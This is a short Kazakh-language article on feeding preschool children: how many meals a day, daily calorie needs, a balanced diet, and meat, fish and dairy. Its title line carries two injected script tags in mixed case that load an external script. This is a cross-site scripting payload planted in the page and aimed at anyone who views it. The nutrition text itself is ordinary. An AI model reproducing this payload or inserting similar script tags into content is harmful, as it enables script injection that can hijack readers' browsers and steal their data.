Мектеп жасына дейінгі баланың дұрыс тамақтануы<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Балалар өте мобильді, жүгіруді, секіруді және көп қозғалуды ұнатады. Күн сайын оларға көптеген эмоциялар мен әсерлер әкеледі. Дененің энергетикалық шығындарын толтыру және дененің өсуі мен даму қажеттіліктерін қамтамасыз ету үшін балаға үнемі энергия мен барлық қоректік заттар қажет.Сондықтан нәресте үшін дұрыс тамақтану өте маңызды.

Мектеп жасына дейінгі бала күніне 4-5 рет тамақтануы керек, күн сайын оның денесіне 1,5-2 мың килокалория қажет. Баланың толық дамуының маңызды шарты-дұрыс тамақтану режимін сақтау.

Балаға ақуыздардың, майлардың және көмірсулардың теңгерімді мөлшерін тұтыну маңызды. Асқазан мен ішектің шырышты қабығын тітіркендіретін заттар болуы мүмкін шұжықтар мен консервілерді қоспағанда, ет, балық жеуге міндетті.

Баланың мәзірінде сүт және сүт өнімдері болуы керек-бұл оңай сіңетін кальций мен В2 витаминінің көзі ғана емес.